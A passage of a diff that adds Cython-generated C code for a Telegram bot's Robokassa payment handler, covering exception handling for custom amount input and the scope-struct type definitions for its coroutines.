+ * except ValueError as e: + * logger.error(f" {tg_id}: {e}") + * await message.answer( # <<<<<<<<<<<<<< + * text=" ( )." + * ) + */ + __pyx_t_7 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_message, __pyx_n_s_answer); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 275, __pyx_L19_error) + __Pyx_GOTREF(__pyx_t_7); + + /* "handlers/payments/robokassa_pay.py":276 + * logger.error(f" {tg_id}: {e}") + * await message.answer( + * text=" ( )." # <<<<<<<<<<<<<< + * ) + */ + __pyx_t_6 = __Pyx_PyDict_NewPresized(1); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 276, __pyx_L19_error) + __Pyx_GOTREF(__pyx_t_6); + if (PyDict_SetItem(__pyx_t_6, __pyx_n_s_text, __pyx_kp_u__30) < 0) __PYX_ERR(0, 276, __pyx_L19_error) + + /* "handlers/payments/robokassa_pay.py":275 + * except ValueError as e: + * logger.error(f" {tg_id}: {e}") + * await message.answer( # <<<<<<<<<<<<<< + * text=" ( )." + * ) + */ + __pyx_t_15 = __Pyx_PyObject_Call(__pyx_t_7, __pyx_empty_tuple, __pyx_t_6); if (unlikely(!__pyx_t_15)) __PYX_ERR(0, 275, __pyx_L19_error) + __Pyx_GOTREF(__pyx_t_15); + __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; + __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; + __pyx_r = __Pyx_Coroutine_Yield_From(__pyx_generator, __pyx_t_15); + __Pyx_DECREF(__pyx_t_15); __pyx_t_15 = 0; + __Pyx_XGOTREF(__pyx_r); + if (likely(__pyx_r)) { + __Pyx_XGIVEREF(__pyx_t_1); + __pyx_cur_scope->__pyx_t_0 = __pyx_t_1; + __Pyx_XGIVEREF(__pyx_t_3); + __pyx_cur_scope->__pyx_t_1 = __pyx_t_3; + __Pyx_XGIVEREF(__pyx_t_9); + __pyx_cur_scope->__pyx_t_2 = __pyx_t_9; + __Pyx_XGIVEREF(__pyx_t_10); + __pyx_cur_scope->__pyx_t_3 = __pyx_t_10; + __Pyx_XGIVEREF(__pyx_t_11); + __pyx_cur_scope->__pyx_t_4 = __pyx_t_11; + __Pyx_XGIVEREF(__pyx_t_13); + __pyx_cur_scope->__pyx_t_5 = __pyx_t_13; + __Pyx_XGIVEREF(__pyx_r); + __Pyx_RefNannyFinishContext(); + __Pyx_Coroutine_SwapException(__pyx_generator); + /* return from generator, awaiting value */ + __pyx_generator->resume_label = 4; + return __pyx_r; + __pyx_L21_resume_from_await:; + __pyx_t_1 = __pyx_cur_scope->__pyx_t_0; + __pyx_cur_scope->__pyx_t_0 = 0; + __Pyx_XGOTREF(__pyx_t_1); + __pyx_t_3 = __pyx_cur_scope->__pyx_t_1; + __pyx_cur_scope->__pyx_t_1 = 0; + __Pyx_XGOTREF(__pyx_t_3); + __pyx_t_9 = __pyx_cur_scope->__pyx_t_2; + __pyx_cur_scope->__pyx_t_2 = 0; + __Pyx_XGOTREF(__pyx_t_9); + __pyx_t_10 = __pyx_cur_scope->__pyx_t_3; + __pyx_cur_scope->__pyx_t_3 = 0; + __Pyx_XGOTREF(__pyx_t_10); + __pyx_t_11 = __pyx_cur_scope->__pyx_t_4; + __pyx_cur_scope->__pyx_t_4 = 0; + __Pyx_XGOTREF(__pyx_t_11); + __pyx_t_13 = __pyx_cur_scope->__pyx_t_5; + __pyx_cur_scope->__pyx_t_5 = 0; + __Pyx_XGOTREF(__pyx_t_13); + if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 275, __pyx_L19_error) + } else { + PyObject* exc_type = __Pyx_PyErr_CurrentExceptionType(); + if (exc_type) { + if (likely(exc_type == PyExc_StopIteration || (exc_type != PyExc_GeneratorExit && __Pyx_PyErr_GivenExceptionMatches(exc_type, PyExc_StopIteration)))) PyErr_Clear(); + else __PYX_ERR(0, 275, __pyx_L19_error) + } + } + } + + /* "handlers/payments/robokassa_pay.py":273 + * ) + * await state.clear() + * except ValueError as e: # <<<<<<<<<<<<<< + * logger.error(f" {tg_id}: {e}") + * await message.answer( + */ + /*finally:*/ { + /*normal exit:*/{ + __Pyx_GOTREF(__pyx_cur_scope->__pyx_v_e); + __Pyx_DECREF(__pyx_cur_scope->__pyx_v_e); __pyx_cur_scope->__pyx_v_e = 0; + goto __pyx_L20; + } + __pyx_L19_error:; + /*exception exit:*/{ + __Pyx_PyThreadState_assign + __pyx_t_18 = 0; __pyx_t_19 = 0; __pyx_t_20 = 0; __pyx_t_21 = 0; __pyx_t_22 = 0; __pyx_t_23 = 0; + __Pyx_XDECREF(__pyx_t_15); __pyx_t_15 = 0; + __Pyx_XDECREF(__pyx_t_2); __pyx_t_2 = 0; + __Pyx_XDECREF(__pyx_t_6); __pyx_t_6 = 0; + __Pyx_XDECREF(__pyx_t_7); __pyx_t_7 = 0; + if (PY_MAJOR_VERSION >= 3) __Pyx_ExceptionSwap(&__pyx_t_21, &__pyx_t_22, &__pyx_t_23); + if ((PY_MAJOR_VERSION < 3) || unlikely(__Pyx_GetException(&__pyx_t_18, &__pyx_t_19, &__pyx_t_20) < 0)) __Pyx_ErrFetch(&__pyx_t_18, &__pyx_t_19, &__pyx_t_20); + __Pyx_XGOTREF(__pyx_t_18); + __Pyx_XGOTREF(__pyx_t_19); + __Pyx_XGOTREF(__pyx_t_20); + __Pyx_XGOTREF(__pyx_t_21); + __Pyx_XGOTREF(__pyx_t_22); + __Pyx_XGOTREF(__pyx_t_23); + __pyx_t_14 = __pyx_lineno; __pyx_t_16 = __pyx_clineno; __pyx_t_17 = __pyx_filename; + { + __Pyx_GOTREF(__pyx_cur_scope->__pyx_v_e); + __Pyx_DECREF(__pyx_cur_scope->__pyx_v_e); __pyx_cur_scope->__pyx_v_e = 0; + } + if (PY_MAJOR_VERSION >= 3) { + __Pyx_XGIVEREF(__pyx_t_21); + __Pyx_XGIVEREF(__pyx_t_22); + __Pyx_XGIVEREF(__pyx_t_23); + __Pyx_ExceptionReset(__pyx_t_21, __pyx_t_22, __pyx_t_23); + } + __Pyx_XGIVEREF(__pyx_t_18); + __Pyx_XGIVEREF(__pyx_t_19); + __Pyx_XGIVEREF(__pyx_t_20); + __Pyx_ErrRestore(__pyx_t_18, __pyx_t_19, __pyx_t_20); + __pyx_t_18 = 0; __pyx_t_19 = 0; __pyx_t_20 = 0; __pyx_t_21 = 0; __pyx_t_22 = 0; __pyx_t_23 = 0; + __pyx_lineno = __pyx_t_14; __pyx_clineno = __pyx_t_16; __pyx_filename = __pyx_t_17; + goto __pyx_L6_except_error; + } + __pyx_L20:; + } + __Pyx_XDECREF(__pyx_t_1); __pyx_t_1 = 0; + __Pyx_XDECREF(__pyx_t_3); __pyx_t_3 = 0; + __Pyx_XDECREF(__pyx_t_13); __pyx_t_13 = 0; + goto __pyx_L5_exception_handled; + } + goto __pyx_L6_except_error; + + /* "handlers/payments/robokassa_pay.py":250 + * inv_id = 0 + * + * try: # <<<<<<<<<<<<<< + * amount = int(message.text) + * if amount <= 0: + */ + __pyx_L6_except_error:; + __Pyx_XGIVEREF(__pyx_t_9); + __Pyx_XGIVEREF(__pyx_t_10); + __Pyx_XGIVEREF(__pyx_t_11); + __Pyx_ExceptionReset(__pyx_t_9, __pyx_t_10, __pyx_t_11); + goto __pyx_L1_error; + __pyx_L5_exception_handled:; + __Pyx_XGIVEREF(__pyx_t_9); + __Pyx_XGIVEREF(__pyx_t_10); + __Pyx_XGIVEREF(__pyx_t_11); + __Pyx_ExceptionReset(__pyx_t_9, __pyx_t_10, __pyx_t_11); + __pyx_L9_try_end:; + } + CYTHON_MAYBE_UNUSED_VAR(__pyx_cur_scope); + + /* "handlers/payments/robokassa_pay.py":244 + * + * + * @router.message(ReplenishBalanceState.waiting_for_payment_confirmation_robokassa) # <<<<<<<<<<<<<< + * async def handle_custom_amount_input(message: types.Message, state: FSMContext): + * tg_id = message.chat.id + */ + + /* function exit code */ + PyErr_SetNone(PyExc_StopIteration); + goto __pyx_L0; + __pyx_L1_error:; + __Pyx_Generator_Replace_StopIteration(0); + __Pyx_XDECREF(__pyx_t_1); + __Pyx_XDECREF(__pyx_t_2); + __Pyx_XDECREF(__pyx_t_3); + __Pyx_XDECREF(__pyx_t_6); + __Pyx_XDECREF(__pyx_t_7); + __Pyx_XDECREF(__pyx_t_13); + __Pyx_XDECREF(__pyx_t_15); + __Pyx_AddTraceback("handle_custom_amount_input", __pyx_clineno, __pyx_lineno, __pyx_filename); + __pyx_L0:; + __Pyx_XDECREF(__pyx_r); __pyx_r = 0; + #if !CYTHON_USE_EXC_INFO_STACK + __Pyx_Coroutine_ResetAndClearException(__pyx_generator); + #endif + __pyx_generator->resume_label = -1; + __Pyx_Coroutine_clear((PyObject*)__pyx_generator); + __Pyx_RefNannyFinishContext(); + return __pyx_r; +} + +#if CYTHON_USE_FREELISTS +static struct __pyx_obj_8handlers_8payments_13robokassa_pay___pyx_scope_struct__process_callback_pay_robokassa *__pyx_freelist_8handlers_8payments_13robokassa_pay___pyx_scope_struct__process_callback_pay_robokassa[8]; +static int __pyx_freecount_8handlers_8payments_13robokassa_pay___pyx_scope_struct__process_callback_pay_robokassa = 0; +#endif + +static PyObject *__pyx_tp_new_8handlers_8payments_13robokassa_pay___pyx_scope_struct__process_callback_pay_robokassa(PyTypeObject *t, CYTHON_UNUSED PyObject *a, CYTHON_UNUSED PyObject *k) { + PyObject *o; + #if CYTHON_COMPILING_IN_LIMITED_API + allocfunc alloc_func = (allocfunc)PyType_GetSlot(t, Py_tp_alloc); + o = alloc_func(t, 0); + #else + #if CYTHON_USE_FREELISTS + if (likely((int)(__pyx_freecount_8handlers_8payments_13robokassa_pay___pyx_scope_struct__process_callback_pay_robokassa > 0) & (int)(t->tp_basicsize == sizeof(struct __pyx_obj_8handlers_8payments_13robokassa_pay___pyx_scope_struct__process_callback_pay_robokassa)))) { + o = (PyObject*)__pyx_freelist_8handlers_8payments_13robokassa_pay___pyx_scope_struct__process_callback_pay_robokassa[--__pyx_freecount_8handlers_8payments_13robokassa_pay___pyx_scope_struct__process_callback_pay_robokassa]; + memset(o, 0, sizeof(struct __pyx_obj_8handlers_8payments_13robokassa_pay___pyx_scope_struct__process_callback_pay_robokassa)); + (void) PyObject_INIT(o, t); + PyObject_GC_Track(o); + } else + #endif + { + o = (*t->tp_alloc)(t, 0); + if (unlikely(!o)) return 0; + } + #endif + return o; +} + +static void __pyx_tp_dealloc_8handlers_8payments_13robokassa_pay___pyx_scope_struct__process_callback_pay_robokassa(PyObject *o) { + struct __pyx_obj_8handlers_8payments_13robokassa_pay___pyx_scope_struct__process_callback_pay_robokassa *p = (struct __pyx_obj_8handlers_8payments_13robokassa_pay___pyx_scope_struct__process_callback_pay_robokassa *)o; + #if CYTHON_USE_TP_FINALIZE + if (unlikely((PY_VERSION_HEX >= 0x03080000 || __Pyx_PyType_HasFeature(Py_TYPE(o), Py_TPFLAGS_HAVE_FINALIZE)) && __Pyx_PyObject_GetSlot(o, tp_finalize, destructor)) && !__Pyx_PyObject_GC_IsFinalized(o)) { + if (__Pyx_PyObject_GetSlot(o, tp_dealloc, destructor) == __pyx_tp_dealloc_8handlers_8payments_13robokassa_pay___pyx_scope_struct__process_callback_pay_robokassa) { + if (PyObject_CallFinalizerFromDealloc(o)) return; + } + } + #endif + PyObject_GC_UnTrack(o); + Py_CLEAR(p->__pyx_v_builder); + Py_CLEAR(p->__pyx_v_callback_query); + Py_CLEAR(p->__pyx_v_exists); + Py_CLEAR(p->__pyx_v_i); + Py_CLEAR(p->__pyx_v_key_count); + Py_CLEAR(p->__pyx_v_session); + Py_CLEAR(p->__pyx_v_state); + Py_CLEAR(p->__pyx_v_tg_id); + #if CYTHON_USE_FREELISTS + if (((int)(__pyx_freecount_8handlers_8payments_13robokassa_pay___pyx_scope_struct__process_callback_pay_robokassa < 8) & (int)(Py_TYPE(o)->tp_basicsize == sizeof(struct __pyx_obj_8handlers_8payments_13robokassa_pay___pyx_scope_struct__process_callback_pay_robokassa)))) { + __pyx_freelist_8handlers_8payments_13robokassa_pay___pyx_scope_struct__process_callback_pay_robokassa[__pyx_freecount_8handlers_8payments_13robokassa_pay___pyx_scope_struct__process_callback_pay_robokassa++] = ((struct __pyx_obj_8handlers_8payments_13robokassa_pay___pyx_scope_struct__process_callback_pay_robokassa *)o); + } else + #endif + { + #if CYTHON_USE_TYPE_SLOTS || CYTHON_COMPILING_IN_PYPY + (*Py_TYPE(o)->tp_free)(o); + #else + { + freefunc tp_free = (freefunc)PyType_GetSlot(Py_TYPE(o), Py_tp_free); + if (tp_free) tp_free(o); + } + #endif + } +} + +static int __pyx_tp_traverse_8handlers_8payments_13robokassa_pay___pyx_scope_struct__process_callback_pay_robokassa(PyObject *o, visitproc v, void *a) { + int e; + struct __pyx_obj_8handlers_8payments_13robokassa_pay___pyx_scope_struct__process_callback_pay_robokassa *p = (struct __pyx_obj_8handlers_8payments_13robokassa_pay___pyx_scope_struct__process_callback_pay_robokassa *)o; + if (p->__pyx_v_builder) { + e = (*v)(p->__pyx_v_builder, a); if (e) return e; + } + if (p->__pyx_v_callback_query) { + e = (*v)(p->__pyx_v_callback_query, a); if (e) return e; + } + if (p->__pyx_v_exists) { + e = (*v)(p->__pyx_v_exists, a); if (e) return e; + } + if (p->__pyx_v_i) { + e = (*v)(p->__pyx_v_i, a); if (e) return e; + } + if (p->__pyx_v_key_count) { + e = (*v)(p->__pyx_v_key_count, a); if (e) return e; + } + if (p->__pyx_v_session) { + e = (*v)(p->__pyx_v_session, a); if (e) return e; + } + if (p->__pyx_v_state) { + e = (*v)(p->__pyx_v_state, a); if (e) return e; + } + if (p->__pyx_v_tg_id) { + e = (*v)(p->__pyx_v_tg_id, a); if (e) return e; + } + return 0; +} +#if CYTHON_USE_TYPE_SPECS +static PyType_Slot __pyx_type_8handlers_8payments_13robokassa_pay___pyx_scope_struct__process_callback_pay_robokassa_slots[] = { + {Py_tp_dealloc, (void *)__pyx_tp_dealloc_8handlers_8payments_13robokassa_pay___pyx_scope_struct__process_callback_pay_robokassa}, + {Py_tp_traverse, (void *)__pyx_tp_traverse_8handlers_8payments_13robokassa_pay___pyx_scope_struct__process_callback_pay_robokassa}, + {Py_tp_new, (void *)__pyx_tp_new_8handlers_8payments_13robokassa_pay___pyx_scope_struct__process_callback_pay_robokassa}, + {0, 0}, +}; +static PyType_Spec __pyx_type_8handlers_8payments_13robokassa_pay___pyx_scope_struct__process_callback_pay_robokassa_spec = { + "handlers.payments.robokassa_pay.__pyx_scope_struct__process_callback_pay_robokassa", + sizeof(struct __pyx_obj_8handlers_8payments_13robokassa_pay___pyx_scope_struct__process_callback_pay_robokassa), + 0, + Py_TPFLAGS_DEFAULT|Py_TPFLAGS_HAVE_VERSION_TAG|Py_TPFLAGS_CHECKTYPES|Py_TPFLAGS_HAVE_NEWBUFFER|Py_TPFLAGS_HAVE_GC|Py_TPFLAGS_HAVE_FINALIZE, + __pyx_type_8handlers_8payments_13robokassa_pay___pyx_scope_struct__process_callback_pay_robokassa_slots, +}; +#else + +static PyTypeObject __pyx_type_8handlers_8payments_13robokassa_pay___pyx_scope_struct__process_callback_pay_robokassa = { + PyVarObject_HEAD_INIT(0, 0) + "handlers.payments.robokassa_pay.""__pyx_scope_struct__process_callback_pay_robokassa", /*tp_name*/ + sizeof(struct __pyx_obj_8handlers_8payments_13robokassa_pay___pyx_scope_struct__process_callback_pay_robokassa), /*tp_basicsize*/ + 0, /*tp_itemsize*/ + __pyx_tp_dealloc_8handlers_8payments_13robokassa_pay___pyx_scope_struct__process_callback_pay_robokassa, /*tp_dealloc*/ + #if PY_VERSION_HEX < 0x030800b4 + 0, /*tp_print*/ + #endif + #if PY_VERSION_HEX >= 0x030800b4 + 0, /*tp_vectorcall_offset*/ + #endif + 0, /*tp_getattr*/ + 0, /*tp_setattr*/ + #if PY_MAJOR_VERSION < 3 + 0, /*tp_compare*/ + #endif + #if PY_MAJOR_VERSION >= 3 + 0, /*tp_as_async*/ + #endif + 0, /*tp_repr*/ + 0, /*tp_as_number*/ + 0, /*tp_as_sequence*/ + 0, /*tp_as_mapping*/ + 0, /*tp_hash*/ + 0, /*tp_call*/ + 0, /*tp_str*/ + 0, /*tp_getattro*/ + 0, /*tp_setattro*/ + 0, /*tp_as_buffer*/ + Py_TPFLAGS_DEFAULT|Py_TPFLAGS_HAVE_VERSION_TAG|Py_TPFLAGS_CHECKTYPES|Py_TPFLAGS_HAVE_NEWBUFFER|Py_TPFLAGS_HAVE_GC|Py_TPFLAGS_HAVE_FINALIZE, /*tp_flags*/ + 0, /*tp_doc*/ + __pyx_tp_traverse_8handlers_8payments_13robokassa_pay___pyx_scope_struct__process_callback_pay_robokassa, /*tp_traverse*/ + 0, /*tp_clear*/ + 0, /*tp_richcompare*/ + 0, /*tp_weaklistoffset*/ + 0, /*tp_iter*/ + 0, /*tp_iternext*/ + 0, /*tp_methods*/ + 0, /*tp_members*/ + 0, /*tp_getset*/ + 0, /*tp_base*/ + 0, /*tp_dict*/ + 0, /*tp_descr_get*/ + 0, /*tp_descr_set*/ + #if !CYTHON_USE_TYPE_SPECS + 0, /*tp_dictoffset*/ + #endif + 0, /*tp_init*/ + 0, /*tp_alloc*/ + __pyx_tp_new_8handlers_8payments_13robokassa_pay___pyx_scope_struct__process_callback_pay_robokassa, /*tp_new*/ + 0, /*tp_free*/ + 0, /*tp_is_gc*/ + 0, /*tp_bases*/ + 0, /*tp_mro*/ + 0, /*tp_cache*/ + 0, /*tp_subclasses*/ + 0, /*tp_weaklist*/ + 0, /*tp_del*/ + 0, /*tp_version_tag*/ + #if PY_VERSION_HEX >= 0x030400a1 + #if CYTHON_USE_TP_FINALIZE + 0, /*tp_finalize*/ + #else + NULL, /*tp_finalize*/ + #endif + #endif + #if PY_VERSION_HEX >= 0x030800b1 && (!CYTHON_COMPILING_IN_PYPY || PYPY_VERSION_NUM >= 0x07030800) + 0, /*tp_vectorcall*/ + #endif + #if __PYX_NEED_TP_PRINT_SLOT == 1 + 0, /*tp_print*/ + #endif + #if PY_VERSION_HEX >= 0x030C0000 + 0, /*tp_watched*/ + #endif + #if PY_VERSION_HEX >= 0x030d00A4 + 0, /*tp_versions_used*/ + #endif + #if CYTHON_COMPILING_IN_PYPY && PY_VERSION_HEX >= 0x03090000 && PY_VERSION_HEX < 0x030a0000 + 0, /*tp_pypy_flags*/ + #endif +}; +#endif + +#if CYTHON_USE_FREELISTS +static struct __pyx_obj_8handlers_8payments_13robokassa_pay___pyx_scope_struct_1_process_amount_selection *__pyx_freelist_8handlers_8payments_13robokassa_pay___pyx_scope_struct_1_process_amount_selection[8]; +static int __pyx_freecount_8handlers_8payments_13robokassa_pay___pyx_scope_struct_1_process_amount_selection = 0; +#endif + +static PyObject *__pyx_tp_new_8handlers_8payments_13robokassa_pay___pyx_scope_struct_1_process_amount_selection(PyTypeObject *t, CYTHON_UNUSED PyObject *a, CYTHON_UNUSED PyObject *k) { + PyObject *o; + #if CYTHON_COMPILING_IN_LIMITED_API + allocfunc alloc_func = (allocfunc)PyType_GetSlot(t, Py_tp_alloc); + o = alloc_func(t, 0); + #else + #if CYTHON_USE_FREELISTS + if (likely((int)(__pyx_freecount_8handlers_8payments_13robokassa_pay___pyx_scope_struct_1_process_amount_selection > 0) & (int)(t->tp_basicsize == sizeof(struct __pyx_obj_8handlers_8payments_13robokassa_pay___pyx_scope_struct_1_process_amount_selection)))) { + o = (PyObject*)__pyx_freelist_8handlers_8payments_13robokassa_pay___pyx_scope_struct_1_process_amount_selection[--__pyx_freecount_8handlers_8payments_13robokassa_pay___pyx_scope_struct_1_process_amount_selection]; + memset(o, 0, sizeof(struct __pyx_obj_8handlers_8payments_13robokassa_pay___pyx_scope_struct_1_process_amount_selection)); + (void) PyObject_INIT(o, t); + PyObject_GC_Track(o); + } else + #endif + { + o = (*t->tp_alloc)(t, 0); + if (unlikely(!o)) return 0; + } + #endif + return o; +} + +static void __pyx_tp_dealloc_8handlers_8payments_13robokassa_pay___pyx_scope_struct_1_process_amount_selection(PyObject *o) { + struct __pyx_obj_8handlers_8payments_13robokassa_pay___pyx_scope_struct_1_process_amount_selection *p = (struct __pyx_obj_8handlers_8payments_13robokassa_pay___pyx_scope_struct_1_process_amount_selection *)o; + #if CYTHON_USE_TP_FINALIZE + if (unlikely((PY_VERSION_HEX >= 0x03080000 || __Pyx_PyType_HasFeature(Py_TYPE(o), Py_TPFLAGS_HAVE_FINALIZE)) && __Pyx_PyObject_GetSlot(o, tp_finalize, destructor)) && !__Pyx_PyObject_GC_IsFinalized(o)) { + if (__Pyx_PyObject_GetSlot(o, tp_dealloc, destructor) == __pyx_tp_dealloc_8handlers_8payments_13robokassa_pay___pyx_scope_struct_1_process_amount_selection) { + if (PyObject_CallFinalizerFromDealloc(o)) return; + } + } + #endif + PyObject_GC_UnTrack(o); + Py_CLEAR(p->__pyx_v_amount); + Py_CLEAR(p->__pyx_v_amount_str); + Py_CLEAR(p->__pyx_v_callback_query); + Py_CLEAR(p->__pyx_v_confirm_keyboard); + Py_CLEAR(p->__pyx_v_data); + Py_CLEAR(p->__pyx_v_e); + Py_CLEAR(p->__pyx_v_payment_url); + Py_CLEAR(p->__pyx_v_state); + Py_CLEAR(p->__pyx_v_tg_id); + Py_CLEAR(p->__pyx_t_0); + Py_CLEAR(p->__pyx_t_1); + Py_CLEAR(p->__pyx_t_2); + Py_CLEAR(p->__pyx_t_3); + Py_CLEAR(p->__pyx_t_4); + Py_CLEAR(p->__pyx_t_5); + #if CYTHON_USE_FREELISTS + if (((int)(__pyx_freecount_8handlers_8payments_13robokassa_pay___pyx_scope_struct_1_process_amount_selection < 8) & (int)(Py_TYPE(o)->tp_basicsize == sizeof(struct __pyx_obj_8handlers_8payments_13robokassa_pay___pyx_scope_struct_1_process_amount_selection)))) { + __pyx_freelist_8handlers_8payments_13robokassa_pay___pyx_scope_struct_1_process_amount_selection[__pyx_freecount_8handlers_8payments_13robokassa_pay___pyx_scope_struct_1_process_amount_selection++] = ((struct __pyx_obj_8handlers_8payments_13robokassa_pay___pyx_scope_struct_1_process_amount_selection *)o); + } else + #endif + { + #if CYTHON_USE_TYPE_SLOTS || CYTHON_COMPILING_IN_PYPY + (*Py_TYPE(o)->tp_free)(o); + #else + { + freefunc tp_free = (freefunc)PyType_GetSlot(Py_TYPE(o), Py_tp_free); + if (tp_free) tp_free(o); + } + #endif + } +} + +static int __pyx_tp_traverse_8handlers_8payments_13robokassa_pay___pyx_scope_struct_1_process_amount_selection(PyObject *o, visitproc v, void *a) { + int e; + struct __pyx_obj_8handlers_8payments_13robokassa_pay___pyx_scope_struct_1_process_amount_selection *p = (struct __pyx_obj_8handlers_8payments_13robokassa_pay___pyx_scope_struct_1_process_amount_selection *)o; + if (p->__pyx_v_amount) { + e = (*v)(p->__pyx_v_amount, a); if (e) return e; + } + if (p->__pyx_v_amount_str) { + e = (*v)(p->__pyx_v_amount_str, a); if (e) return e; + } + if (p->__pyx_v_callback_query) { + e = (*v)(p->__pyx_v_callback_query, a); if (e) return e; + } + if (p->__pyx_v_confirm_keyboard) { + e = (*v)(p->__pyx_v_confirm_keyboard, a); if (e) return e; + } + if (p->__pyx_v_data) { + e = (*v)(p->__pyx_v_data, a); if (e) return e; + } + if (p->__pyx_v_e) { + e = (*v)(p->__pyx_v_e, a); if (e) return e; + } + if (p->__pyx_v_payment_url) { + e = (*v)(p->__pyx_v_payment_url, a); if (e) return e; + } + if (p->__pyx_v_state) { + e = (*v)(p->__pyx_v_state, a); if (e) return e; + } + if (p->__pyx_v_tg_id) { + e = (*v)(p->__pyx_v_tg_id, a); if (e) return e; + } + if (p->__pyx_t_0) { + e = (*v)(p->__pyx_t_0, a); if (e) return e; + } + if (p->__pyx_t_1) { + e = (*v)(p->__pyx_t_1, a); if (e) return e; + } + if (p->__pyx_t_2) { + e = (*v)(p->__pyx_t_2, a); if (e) return e; + } + if (p->__pyx_t_3) { + e = (*v)(p->__pyx_t_3, a); if (e) return e; + } + if (p->__pyx_t_4) { + e = (*v)(p->__pyx_t_4, a); if (e) return e; + } + if (p->__pyx_t_5) { + e = (*v)(p->__pyx_t_5, a); if (e) return e; + } + return 0; +} +#if CYTHON_USE_TYPE_SPECS +static PyType_Slot __pyx_type_8handlers_8payments_13robokassa_pay___pyx_scope_struct_1_process_amount_selection_slots[] = { + {Py_tp_dealloc, (void *)__pyx_tp_dealloc_8handlers_8payments_13robokassa_pay___pyx_scope_struct_1_process_amount_selection}, + {Py_tp_traverse, (void *)__pyx_tp_traverse_8handlers_8payments_13robokassa_pay___pyx_scope_struct_1_process_amount_selection}, + {Py_tp_new, (void *)__pyx_tp_new_8handlers_8payments_13robokassa_pay___pyx_scope_struct_1_process_amount_selection}, + {0, 0}, +}; +static PyType_Spec __pyx_type_8handlers_8payments_13robokassa_pay___pyx_scope_struct_1_process_amount_selection_spec = { + "handlers.payments.robokassa_pay.__pyx_scope_struct_1_process_amount_selection", + sizeof(struct __pyx_obj_8handlers_8payments_13robokassa_pay___pyx_scope_struct_1_process_amount_selection), + 0, + Py_TPFLAGS_DEFAULT|Py_TPFLAGS_HAVE_VERSION_TAG|Py_TPFLAGS_CHECKTYPES|Py_TPFLAGS_HAVE_NEWBUFFER|Py_TPFLAGS_HAVE_GC|Py_TPFLAGS_HAVE_FINALIZE, + __pyx_type_8handlers_8payments_13robokassa_pay___pyx_scope_struct_1_process_amount_selection_slots, +}; +#else + +static PyTypeObject __pyx_type_8handlers_8payments_13robokassa_pay___pyx_scope_struct_1_process_amount_selection = { + PyVarObject_HEAD_INIT(0, 0) + "handlers.payments.robokassa_pay.""__pyx_scope_struct_1_process_amount_selection", /*tp_name*/ + sizeof(struct __pyx_obj_8handlers_8payments_13robokassa_pay___pyx_scope_struct_1_process_amount_selection), /*tp_basicsize*/ + 0, /*tp_itemsize*/ + __pyx_tp_dealloc_8handlers_8payments_13robokassa_pay___pyx_scope_struct_1_process_amount_selection, /*tp_dealloc*/ + #if PY_VERSION_HEX < 0x030800b4 + 0, /*tp_print*/ + #endif + #if PY_VERSION_HEX >= 0x030800b4 + 0, /*tp_vectorcall_offset*/ + #endif + 0, /*tp_getattr*/ + 0, /*tp_setattr*/ + #if PY_MAJOR_VERSION < 3 + 0, /*tp_compare*/ + #endif + #if PY_MAJOR_VERSION >= 3 + 0, /*tp_as_async*/ + #endif + 0, /*tp_repr*/ + 0, /*tp_as_number*/ + 0, /*tp_as_sequence*/ + 0, /*tp_as_mapping*/ + 0, /*tp_hash*/ + 0, /*tp_call*/ + 0, /*tp_str*/ + 0, /*tp_getattro*/ + 0, /*tp_setattro*/ + 0, /*tp_as_buffer*/ + Py_TPFLAGS_DEFAULT|Py_TPFLAGS_HAVE_VERSION_TAG|Py_TPFLAGS_CHECKTYPES|Py_TPFLAGS_HAVE_NEWBUFFER|Py_TPFLAGS_HAVE_GC|Py_TPFLAGS_HAVE_FINALIZE, /*tp_flags*/ + 0, /*tp_doc*/ + __pyx_tp_traverse_8handlers_8payments_13robokassa_pay___pyx_scope_struct_1_process_amount_selection, /*tp_traverse*/ + 0, /*tp_clear*/ + 0, /*tp_richcompare*/ + 0, /*tp_weaklistoffset*/ + 0, /*tp_iter*/ + 0, /*tp_iternext*/ + 0, /*tp_methods*/ + 0, /*tp_members*/ + 0, /*tp_getset*/ + 0, /*tp_base*/ + 0, /*tp_dict*/ + 0, /*tp_descr_get*/ + 0, /*tp_descr_set*/ + #if !CYTHON_USE_TYPE_SPECS + 0, /*tp_dictoffset*/ + #endif + 0, /*tp_init*/ + 0, /*tp_alloc*/ + __pyx_tp_new_8handlers_8payments_13robokassa_pay___pyx_scope_struct_1_process_amount_selection, /*tp_new*/ + 0, /*tp_free*/ + 0, /*tp_is_gc*/ + 0, /*tp_bases*/ + 0, /*tp_mro*/ + 0, /*tp_cache*/ + 0, /*tp_subclasses*/ + 0, /*tp_weaklist*/ + 0, /*tp_del*/ + 0, /*tp_version_tag*/ + #if PY_VERSION_HEX >= 0x030400a1 + #if CYTHON_USE_TP_FINALIZE + 0, /*tp_finalize*/ + #else + NULL, /*tp_finalize*/ + #endif + #endif + #if PY_VERSION_HEX >= 0x030800b1 && (!CYTHON_COMPILING_IN_PYPY || PYPY_VERSION_NUM >= 0x07030800) + 0, /*tp_vectorcall*/ + #endif + #if __PYX_NEED_TP_PRINT_SLOT == 1 + 0, /*tp_print*/ + #endif + #if PY_VERSION_HEX >= 0x030C0000 + 0, /*tp_watched*/ + #endif + #if PY_VERSION_HEX >= 0x030d00A4 + 0, /*tp_versions_used*/ + #endif + #if CYTHON_COMPILING_IN_PYPY && PY_VERSION_HEX >= 0x03090000 && PY_VERSION_HEX < 0x030a0000 + 0, /*tp_pypy_flags*/ + #endif +}; +#endif + +#if CYTHON_USE_FREELISTS +static struct __pyx_obj_8handlers_8payments_13robokassa_pay___pyx_scope_struct_2_robokassa_webhook *__pyx_freelist_8handlers_8payments_13robokassa_pay___pyx_scope_struct_2_robokassa_webhook[8]; +static int __pyx_freecount_8handlers_8payments_13robokassa_pay___pyx_scope_struct_2_robokassa_webhook = 0; +#endif + +static PyObject *__pyx_tp_new_8handlers_8payments_13robokassa_pay___pyx_scope_struct_2_robokassa_webhook(PyTypeObject *t, CYTHON_UNUSED PyObject *a, CYTHON_UNUSED PyObject *k) { + PyObject *o; + #if CYTHON_COMPILING_IN_LIMITED_API + allocfunc alloc_func = (allocfunc)PyType_GetSlot(t, Py_tp_alloc); + o = alloc_func(t, 0); + #else + #if CYTHON_USE_FREELISTS + if (likely((int)(__pyx_freecount_8handlers_8payments_13robokassa_pay___pyx_scope_struct_2_robokassa_webhook > 0) & 